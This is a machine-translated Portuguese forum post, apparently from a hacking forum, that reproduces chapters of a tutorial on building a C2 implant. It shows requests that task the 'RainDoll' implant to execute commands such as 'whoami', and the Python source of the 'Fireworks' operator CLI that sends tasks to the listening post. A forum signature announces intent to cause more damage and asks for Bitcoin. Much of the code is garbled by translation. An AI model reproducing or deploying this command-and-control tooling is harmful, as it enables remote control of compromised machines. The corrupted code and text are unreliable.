Comece criando um Projeto para plataformas x64 e verifique se não há erros de compilação. Todo o código que escrevemos até agora pode ser encontrado em uma pastry chamada "capítulo 3-3". Em seguida, verifique se a postagem de escuta do Skytree está em execução e, caso contrário, inicie-a agora indo para a pasta "Skytree" e executando . Navegue até a pasta de saída da compilação e execute esse arquivo na linha de comando. Com o implante em execução, faça uma solicitação POST "AddTasks" com o seguinte: python listening_post.pyRainDoll.exe

C++: Copiar para área de transferência
POST /tasks HTTP/1.1
Host: localhost:5000
Content-Type: application/json

[
{
"task_type":"list-threads",
"procid":"-"
},
{
"task_type":"execute",
"command ":"whoami"
}
]
Você pode executar as seguintes linhas do PowerShell para fazer a solicitação de abertura:

C++: Copiar para área de transferência
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Content-Type", "application/json")

$body = "[`n {` n `"task_type`":`"list-threads`",`n `"procid`":`"-`"`n },`n {`n `"task_type`":`"execute`",` n `"command`":`"whoami`"`n }`n]"

$response = Invoke-RestMethod 'http://localhost:5000/tasks' -Method 'POST' -Headers $headers -Body $body
$ resposta | ConvertTo-Json
Depois de enviar a solicitação "AddTasks", você verá algo semelhante ao seguinte na janela do prompt de comando do RainDoll:

C++: Copiar para área de transferência
====================================================

RainDoll está enviando resultados para a postagem de escuta...

Corpo da solicitação: {}

Ouvindo o conteúdo da resposta da postagem: [{"_id": {"$oid": "5f6d93f43b3a9c5331e5a671"}, "task_id": "a104a800-cfbd-4796-8699- a1a3bd07c9dc" , "task_type": "list-threads", "procid": "-"}, {"_id": {"$oid": "5f6d93f43b3a9c5331e5a673"}, "task_id": "3fc58f58-553d-427f-854b -87448013f5d8 ", "task_type": "execute", "command": "whoami"}]

Analisando tarefas recebidas...

========================= == =========================

RainDoll está enviando os resultados para o post de escuta...

Corpo da solicitação: {"3fc58f58-553d-427f-854b-87448013f5d8":{"contents":"laptop-test\\TestUser\n","success":"true"},"a104a800-cfbd-4796-8699- a1a3bd07c9dc":{"contents":"THREAD ID = 63892\nTHREAD ID = 63944\nTHREAD ID = 63900\nTHREAD ID = 63920\n","success":"true"}}

Ouvindo o conteúdo da resposta da postagem: []

Tarefas de análise recebido...

============================================== == ==
Se você visitar o terminal "ListResults" ( http://127.0.0.1:5000/results ), deverá ver o seguinte se tudo correr bem:

C++: Copiar para área de transferência
[
{
"_id": {
"$oid": "5f6d7ad7534c41989c1e8db9"
},
"result_id": "e6e56ba0-a677-4a22-88e5-81ece606ff9d", "8baee355-91a3-4a69-a708-6c491314s "
: {a93e "success": "true" }, "9738db31-fffd-42ca-9f82-8e74125dd263": { "contents": "PONG!", "success": "true" } }, { "_id ": { "$oid": "5f6d93f63b3a9c5331e5a675" }, "result_id": "efa33331-7c60-4623-af8f-99f26b022109", "3fc58f58-553d-427f-854b-87448013f5d8": { "contents": "laptop-test\\TestUser\n", "success": "true" }, "a104a800-cfbd-4796-8699-a1a3bd07c9dc": {


















"contents": "THREAD ID = 63892\nTHREAD ID = 63944\nTHREAD ID = 63900\nTHREAD ID = 63920\n",
"success": "true"
}
}
]
Você notará a adição de uma entrada com os resultados da tarefa de execução do comando e os resultados da tarefa da lista de encadeamentos. Se você chegou até aqui, parabens! Isso é tudo que você precisa phaser para criar este básico e tarefas implantados. Bata palmas!

Conclusão

Este é o fim do capítulo sobre nosso básico implantado. Passamos por muito e elaboramos os conceitos básicos do agente-farol de comando-controle. Aprendemos como um loop de beacon é construído, como servimos para um posto de escuta e como analisamos e executamos tarefas. Por fim, testamos todo o fluxo de trabalho do operador e passamos pelo processo de expansão do implante com novas tarefas. No próximo capítulo, criaremos um cliente com uma interface de linha de comando onde podemos enviar tarefas e visualizar resultados sem precisar executar manualmente cada solicitação.

Meus planos para 2022 são aumentar e levar o dano para o próximo nível.
Iniciativa para traduzir. documentos para CS 4.3 - https://xss.is/threads/50543/ - !FEITO!
Você pode ajudar no Brintellix aqui - BC1QHDMKZL8FX77HDGZKKJS6XFRSWG460FJQQTTMRG
gosta Citar Responder
uma queixa
  • gosta
Capítulo 4: Cliente CLI do Operador

Crie um cliente CLI para interagir com o posto de escuta e o implantado.

1669327247257.png


Introdução

Neste capítulo, criamos nosso cliente CLI do operador chamado Fireworks . O cliente CLI nos permitirá interagir com nossa postagem de ouvinte por meio da API REST e servirá como uma maneira fácil para os operadores enviarem novas tarefas/visualizar resultados na linha de comando. As Ações incluirão:

- list-tasks - Listar as tarefas que são executadas para o implante

- add-tasks --tasktype <task_type> --options <key>=<value> - Enviar tarefas para o posto de escuta

- list-results - Liste os resultados recebidos do implante

- list-history – Lista do histórico de tarefas e resultados relacionados


A razão pela qual estamos construindo uma interface de linha de comando em vez de uma interface web é principalmente devido a testes rápidos e experimentação. Pessoalmente, prefiro começar com uma interface fácil de construir e testar antes de começar a perer tempo criando uma interface da Web que pode ser mais complexa. Assim que tivermos certeza de que nosso C2 funciona bem com a CLI e estaremos satisfeitos com os vários fluxos de usuários convencionais, podemos tomar as medidas necessárias para criar uma interface da Web com al.


Ok, vamos começar! Abra a pasta chamada "capítulo 4-1" e você encontrará o seguinte código fireworks.py no arquivo. Instale os requisitos executando o pip install -r requisitos.txt dinheiro garantidor que todos os pré-requisitos estejam instalados. Vamos examinar cada bloco de código e tentar entender como funciona o CLI do cliente:

Pitão:Copiar para área de transferência
import click
import request
import pprint
import json

# Parâmetros de configuração
listening_post_addr = "http://127.0.0.1:5000"

# Funções auxiliares
def api_get_request(endpoint):
response_raw = requests.get(listening_post_addr + endpoint).text
response_json = json.loads (response_raw)
return response_json

# Comandos CLI e lógica
@click.group()
def cli():
pass

@click.command(name="list-tasks")
def list_tasks():
"""Lista as tarefas que estão sendo atendidas ao implante."""
api_endpoint = "/tasks"
print("\nAqui estão as tarefas:\n")
pprint.pprint(api_get_request(api_endpoint))
print()

@click.command(name="list-results")
def list_results():
"""Liste os resultados retornados do implante."""
api_endpoint = "/results"
print("\nAqui estão os resultados:\n")
pprint.pprint(api_get_request(api_endpoint))
print()

@click.command(name="list-history")
def list_history():
"""Liste o histórico de tarefas e seus resultados associados."""
api_endpoint = "/ history"
print("\nAqui está o histórico das tarefas:\n")
pprint.pprint(api_get_request(api_endpoint))
print()

# Adicionar comandos à CLI
cli.add_command(list_tasks)
cli.add_command(list_results)
cli.add_command(list_history)

if __name__ == '__main__':
cli()
Template

Primeiro, vamos remover parte do template com o seguinte bloco:

Pitão:Copiar para área de transferência
# Definições de configuração listen_post_addr
= "http://127.0.0.1:5000"

# Funções auxiliares
def api_get_request(endpoint):
response_raw = requests.get(listening_post_addr + endpoint).text
response_json = json.loads(response_raw)
return response_json

# Comandos CLI e lógica
@click.group()
def cli():
pass
Definimos uma variável que contém o endereço de nossa postagem de escuta e declaramos uma função para fazer uma solicitação HTTP GET para nossos terminais de API. A função "api_get_request" usa um endpoint de API como argumento e usa para fazer uma solicitação GET usando a https://requests.readthedocs.io/en/master/ library . Ele armazena a resposta do posto de escuta em uma variável chamada "response_raw". Em seguida, analisamos o resultado como um objeto JSON e armazenamos em "response_json". Isso é o que retornaremos ao usuário. Em seguida, começou nossa Seção sobre comandos e lógica da CLI. Usamos a biblioteca https://click.palletsprojects.com/en/7.x/para criar nosso cliente CLI, a sintaxe "@click.group()" é usada para agrupar comandos. Em seguida, declaramos uma função "cli" que simplesmente passará e nos permitirá executar vários comandos com base na entrada acomodada pelo usuário.

Lista de comandos da CLI

No bloco de código a seguir, definimos cada um dos comandos de “lista” de implantado, que consistem em uma solicitação GET simples para a postagem do ouvinte:

Pitão:Copiar para área de transferência
@click.command(name="list-tasks")
def list_tasks():
"""Lista as tarefas que estão sendo entregues ao implante."""
api_endpoint = "/tasks"
print("\nAqui estão as tarefas:\ n")
pprint.pprint(api_get_request(api_endpoint))
print()

@click.command(name="list-results")
def list_results():
"""Liste os resultados retornados do implante."""
api_endpoint = " /results"
print("\nAqui estão os resultados:\n")
pprint.pprint(api_get_request(api_endpoint))
print()

@click.command(name="list-history")
def list_history():
"""Liste o histórico de tarefas e seus resultados associados."""
api_endpoint = "/history"
print("\nAqui está o histórico de tarefas:\n")
pprint.pprint(api_get_request(api_endpoint))
print()

O formato geral de cada comando de lista é aproximadamente o mesmo. Especificamos o nome do comando que o usuário digitará na linha de comando, @click.command(name="list-tasks") e, em seguida, começou a escrever o código de função para esse comando. Escrevemos algum texto de ajuda que será exibido para o comando se o usuário digitar "--help" e declarar qual é o endpoint da API. Por fim, imprimimos os resultados da chamada da API List com uma solicitação GET.

Para fechar este cliente CLI inicial, precisamos adicionar o seguinte.

Pitão:Copiar para área de transferência
# Adicionar comandos à CLI
cli.add_command(list_tasks)
cli.add_command(list_results)
cli.add_command(list_history)

if __name__ == '__main__':
cli()
O bloco de código acima adiciona uma lista de comandos à CLI, após qual especificamos a função principal. Isso é tudo que precisamos para começar a testar o cliente CLI, vamos nos preparar para um test drive.

Lista de Comandos

Vamos testar este cliente agora executando o post de escuta. Você pode navegar até a pasta "Skytree" para encontrar o arquivo listening_post.py e, em seguida, executar o comando python listening_post.py. Quando funcionar, inicie o implantado. Você pode navegar até a pasta "RainDoll" e usar o arquivo de solução do Visual Studio para criar um novo binário RainDoll.exe ou pode executar o binário do capítulo anterior. Com a postagem do ouvinte e o implante em execução, estamos prontos para executar o comando list com o cliente CLI usando o seguinte:

python fireworks.

Você deve ver a seguinte resposta:

Aqui estão as tarefas:

[]


Você pode obter ajuda para cada um dos comandos suportados:

python fireworks.py --help

Você receberá de volta:

Uso: fireworks.py [OPÇÕES] COMANDO [OPÇÕES].

Opções: --help
Mostra esta mensagem e sai .

Comandos:
list-history Lista o histórico de tarefas e seus resultados associados.
list-results Lista de resultados retornados do implantado.
list-tasks Lista de tarefas que estão sendo entregues ao implantado.


Você pode executar qualquer um dos comandos na lista e obter um 200 OK no posto de escuta. Até agora, este cliente CLI não é muito útil. Mas pelo menos sabemos que ele pode fazer com sucesso à API de postagem do ouvinte e obter respostas. Vamos adicionar um comando de alterar um pouco mais complexo implementando o comando "Adicionar tarefas".

Comando CLI " Adicionar tarefas "

Abra a pasta chamada "capítulo 4-2" e você encontrará o seguinte código fireworks.py atualizado no arquivo. Percorreremos cada bloco de código e tentaremos entender como funciona o comando Add Tasks:

Pitão:Copiar para área de transferência
import click
import request
import pprint
import json

# Parâmetros de configuração
listening_post_addr = "http://127.0.0.1:5000"

# Funções auxiliares
def api_get_request(endpoint):
response_raw = requests.get(listening_post_addr + endpoint).text
response_json = json.loads (response_raw)
return response_json

def api_post_request(endpoint, payload):
response_raw = requests.post(listening_post_addr + endpoint, json=payload).text
response_json = json.loads(response_raw)
return response_json

# Comandos CLI e lógica
@click.group()
def cli():
pass

@click.command(name="list-tasks")
def list_tasks():
"""Lista as tarefas que estão sendo entregues ao implante."""
api_endpoint = "/tasks"
print("\nAqui estão as tarefas:\n")
pprint.pprint(api_get_request(api_endpoint))
print()

@click. command(name="list-results")
def list_results():
"""Liste os resultados retornados do implante."""
api_endpoint = "/results"
print("\nAqui estão os resultados:\n")
pprint.pprint (api_get_request(api_endpoint))
print()

@click.command(name="list-history")
def list_history():
"""Liste o histórico de tarefas e seus resultados associados."""
api_endpoint = "/history"
print("\nAqui está o histórico de tarefas:\n")
pprint.pprint(api_get_request(api_endpoint))
print()

@click.command(name="add-tasks")
@click.option('--tasktype', help='Tipo de tarefa a ser enviada.')
@click.option('--options', help='Chave -value options for task.')
def add_tasks(tasktype, options):
"""Enviar tarefas para o posto de escuta."""
api_endpoint = "/tasks"
print("\nAqui estão as tarefas que foram adicionadas:\n" )

# Execute a análise de opções se o usuário as forneceu à tarefa
if options != None:
task_options_dict = {}
task_options_pairs = options.split(",")

# Para cada par chave-valor, adicione-os a um dicionário
para opção em task_options_pairs:
key_vals = opção.split("=")
chave = key_vals[0]
valor = key_vals[1]
par = {key:value}
task_options_dict.update(pair)

# Se mais de uma opção foi fornecida, formate e anexe-as em uma única string
if len(task_options_dict) > 1:
keyval_string = ""
for key,value in task_options_dict.items():
keyval_string += f '"{key}":"{value}",'
request_payload_string = f'[{{"task_type":"{tasktype}",{keyval_string[:-1]}}}]'
request_payload = json.loads(request_payload_string )
pprint.pprint(api_post_request(api_endpoint, request_payload))
# Caso contrário, apenas imprima a chave/valor para a única opção fornecida
:
request_payload_string = f'[{{"task_type":"{tasktype}","{key}" :"{valor}"}}]'
request_payload = json.loads(request_payload_string)
pprint.pprint(api_post_request(api_endpoint, request_payload))
# Caso contrário, apenas enviaremos uma carga com o tipo de tarefa especificado
:
request_payload_string = f'[{{"task_type":"{tasktype}"}}]'
request_payload = json. load (request_payload_string)
pprint.pprint(api_post_request(api_endpoint, request_payload))
print()

# Adicionar comandos à CLI
cli.add_command(list_tasks)
cli.add_command(list_results)
cli.add_command(list_history)
cli.add_tasname(if_add__command

) = '__main__ ':
cli()
Para o comando Add Tasks, precisamos ser capazes de enviar POST para o posto de escuta:

Pitão:Copiar para área de transferência
def api_post_request(endpoint, payload):
response_raw = requests.post(listening_post_addr + endpoint, json=payload).text
response_json = json.loads(response_raw)
return response_json
No bloco de código acima, definimos outra função auxiliar que usa a biblioteca de qualificação Python para fazer uma solicitação POST. Leva um parâmetro "endpoint" e um novo parâmetro "payload" que conterá o corpo de nossa solicitação JSON. No método "requests.post", especificamos o parâmetro "json" como contendo nosso payload. Em seguida, analisamos a resposta da postagem do ouvinte no formato JSON e retornamos ao usuário.

Agora estamos prontos para passar para o comando "Adicionar tarefas" e como criamos o corpo da solicitação POST:

Pitão:Copiar para área de transferência
@click.command(name="add-tasks")
@click.option('--tasktype', help='Tipo de tarefa a ser enviada.')
@click.option('--options', help='Chave -value options for task.')
def add_tasks(tasktype, options):
"""Enviar tarefas para o posto de escuta."""
api_endpoint = "/tasks"
print("\nAqui estão as tarefas que foram adicionadas:\n" )

# Execute a análise de opções se o usuário as forneceu à tarefa
if options != None:
task_options_dict = {}
task_options_pairs = options.split(",")

# Para cada par chave-valor, adicione-os a um dicionário
para opção em task_options_pairs:
key_vals = opção.split("=")
chave = key_vals[0]
valor = key_vals[1]
par = {key:value}
task_options_dict.update(pair)

# Se mais de uma opção foi fornecida, formate e anexe-as em uma única string
if len(task_options_dict) > 1:
keyval_string = ""
for key,value in task_options_dict.items():
keyval_string += f '"{key}":"{value}",'
request_payload_string = f'[{{"task_type":"{tasktype}",{keyval_string[:-1]}}}]'
request_payload = json.loads(request_payload_string )
pprint.pprint(api_post_request(api_endpoint, request_payload))
# Caso contrário, apenas imprima a chave/valor para a única opção fornecida
:
request_payload_string = f'[{{"task_type":"{tasktype}","{key}" :"{valor}"}}]'
request_payload = json.loads(request_payload_string)
pprint.pprint(api_post_request(api_endpoint, request_payload))
# Caso contrário, apenas enviaremos uma carga com o tipo de tarefa especificado
:
request_payload_string = f'[{{"task_type":"{tasktype}"}}]'
request_payload = json. cargas(request_payload_string)
pprint.pprint(api_post_request(api_endpoint, request_payload))
print()
A primeira parte deste bloco de código é basicamente clichê, semelhante aos comandos anteriores que adicionamos:

Pitão:Copiar para área de transferência
@click.command(name="add-tasks")
@click.option('--tasktype', help='Tipo de tarefa a ser enviada.')
@click.option('--options', help='Chave -value options for task.')
def add_tasks(tasktype, options):
"""Enviar tarefas para o posto de escuta."""
api_endpoint = "/tasks"
print("\nAqui estão as tarefas que foram adicionadas:\n" )
Especificamos o nome do comando e as opções que suportamos. No caso de tarefas adicionais, queremos permitir que o usuário selecione o tipo de tarefa e as opções (se houver) necessárias para esse tipo de tarefa. Especificamos um endpoint e, em seguida, imprimimos uma mensagem curta. Agora podemos passar para a parte principal do código de comando:

Pitão:Copiar para área de transferência
# Execute a análise de opções se o usuário as forneceu à tarefa
if options != None:
task_options_dict = {}
task_options_pairs = options.split(",")

# Para cada par chave-valor, adicione-os a um dicionário
para opção em task_options_pairs:
key_vals = option.split("=")
key = key_vals[0]
value = key_vals[1]
pair = {key:value}
task_options_dict.update(pair)

# Se mais de uma opção foi fornecida, formate e anexe-as em um único string
if len(task_options_dict) > 1:
keyval_string = ""
for key,value in task_options_dict.items():
keyval_string += f'"{key}":"{value}",'
request_payload_string = f'[{{" task_type":"{tasktype}",{keyval_string[:-1]}}}]'
request_payload = json.loads(request_payload_string)
pprint.pprint(api_post_request(api_endpoint, request_payload))
# Caso contrário, apenas imprima a chave/valor para a única opção fornecida
else:
request_payload_string = f'[{{"task_type":"{tasktype} ","{key}":"{value}"}}]'
request_payload = json.loads(request_payload_string)
pprint.pprint(api_post_request(api_endpoint, request_payload))
No bloco de código acima, temos uma condição se verificar se algum parâmetro foi fornecido para a tarefa. Em caso afirmativo, declaramos algumas variáveis para conter um dicionário de parâmetros de tarefa que consiste em chaves e valores e uma variável para separar pares chave-valor. Em seguida, temos um loop para que quebra cada par chave-valor e os adiciona ao dicionário de parâmetros da tarefa como uma nova entrada. Agora que nosso dicionário de parâmetros da tarefa está cheio, temos mais uma condição que verifica se temos mais de um parâmetro. Se tivermos várias opções de tarefa, precisamos concatenar cada opção de valor-chave e, em seguida, adicionar essa string à nossa carga de solicitação. Em seguida, fazemos uma solicitação POST e imprimimos a resposta do post de escuta. de outra forma,

Se as opções de tarefa não foram fornecidas, temos o seguinte:

Pitão:Copiar para área de transferência
# Caso contrário, apenas enviamos uma carga útil com o tipo de tarefa especificado
:
request_payload_string = f'[{{"task_type":"{tasktype}"}}]'
request_payload = json.loads(request_payload_string)
pprint.pprint(api_post_request(api_endpoint ) , request_payload))
print()
Com o bloco de código acima, não precisamos analisar nenhum parâmetro da tarefa e podemos apenas fazer uma solicitação POST com o tipo de tarefa. Em seguida, imprimimos bem a resposta do posto de escuta. A última parte a ser alterada é a seleção que adiciona cada comando à

CLI : "adicionar_tarefas". Com esta última mudança, estamos prontos para testar nossa equipe recém-adicionada. Adicionar Tarefas Test Drive Certifique-se de que o poste de escuta e o implantado estão funcionando. Agora execute o seguinte comando para adicionar uma tarefa Ping:













python fireworks.py add-tasks --tasktype ping


Você deve obter uma resposta como a seguir se tudo correr bem:

Aqui estão as tarefas que foram adicionadas:

[{'_id': {'$oid': '5f6ef011363fb4217e
' task_id': '1fcbd838-e800-4da3-9765-b4a15656abb7',
'task_type': 'ping'}]


Aguarde alguns segundos e execute o seguinte para ver os resultados:

Aqui estão os resultados:

[{'1fcbd 8da3800-e 9765-b4a15656abb7': {'conteúdo': 'PONG!',
'sucesso': 'true'},
'_id': {'$oid': '5f6ef025363fb42173b13a50'},
'result_id': '


02848048-9179-4b b9b6-3aa7db2e5281'}] Você receberá de volta:

python fireworks.py add-tasks --tasktype execute --options command="ping google.com"


Vamos tentar adicionar uma tarefa com uma opção agora mesmo. Execute o seguinte para adicionar uma tarefa Executar usando o comando "ping google.com

" : google.com', 'task_id': '70492646-6ff1-490a-82de-1d703dfb1bf2', 'task_type': 'exe vacute'}






] voltar :

Aqui estão as tarefas que foram adicionadas:

[{'_id': {' $oid': '5f6ef162363fb42173b13a51'},
'command': 'ping google.com',
'




Você pode executar o comando List novamente para ver o seguinte:

Aqui estão os resultados:

[{'1fcbd838-e800-4da3-9765-b4a15656abb7': {'contents': 'PONG!',
'success': 'true'},
'_id': {'$oid':

{'70492646-6ff1-490a-82de-1d'703df': {b' \n'
'Pinging google.com '
'[172.217.164.206] com ' '32
bytes de dados:\n'
'Resmail de'
'172.217 .164.206: '
'bytes=32 tempo=3ms '
'TTL=115\n'
'Resmail de '
'172.217.164.206: '
'bytes=32 tempo=3ms '
'TTL=115\n'
'Resmail de '
'172.217 .164.206: '
'bytes=32 tempo=3ms'
'TTL=115\n'
'Resmail '
'172.217.164.206: '
'bytes=32 tempo=3ms '
'TTL=115\n'
'\n'
'Estatísticas de pingar dinheiro '
'172.217.164.206:\n'
' Pacotes: Enviados = 4, '
'Recebido = 4, Perdido = 0'
'(fret at 0%),\n'
'Ida e volta aproximada '
'tempos em '
'milissegundos:\n'
' Mínimo = 3ms, '
'Máximo = 3ms, Médio '
'= 3ms\n',
'sucesso' : 'true'},
'_id': { '$oid': '5f6ef169363fb42173b13a53'},
'result_id': '334e866e-d424-4081-a941-d8eda35b0ea5' }]


Você pode ver que os resultados do ping foram preenchidos com cliente sucessoque LI novo comando "Adicionar tarefas"!

Conclusão

Agora temos uma interface mais amigável para enviar tarefas e visualizar resultados, o que está muito longe de colar comandos do PowerShell, certo? Com esta peça, temos uma configuração C2 totalmente funcional com uma interface de operador, poste de escuta e implantada. Cada uma das partes é relativamente simples, mas apenas nos dá mais espaço para desenvolver e expandir com componentes mais avançados.


Considerações finais e próximos passos.

E isso! Ansioso pela próxima "Parte 2" com Seções que melhoram o trabalho que começou aqui. Existem muitas possibilidades de adicionar coisas como uma interface web para a interface do operador, controles para autenticação no posto de escuta, a capacidade de implantar novos módulos remotos e proteger nosso canal de comunicação.com cript Também monitoramos nosso implante de uma perspectiva de analista de segurança/malware e ver se há alguma defesa forense/RE que podemos habilitar. Mas, será mais tarde. Enquanto isso, parabenize-se por começar com uma base sólida para o desenvolvimento de implantes e a construção de alguns dos componentes C2.

Este não é o fim, mas uma oportunidade para continuar aprendendo e aprendendo. Espero que você desenvolva as habilidades únicas necessárias para criar essa classe complexa de ferramentas ofensivas e compartilhar seu trabalho com a comunidade. Estou ansioso dê dinheiro o que você fará a seguir!


Traduzido por: yashechka
Fonte:
https://shogunlab.gitbook.io/building-c2-implants-in-cpp-a-primer/
 
Üst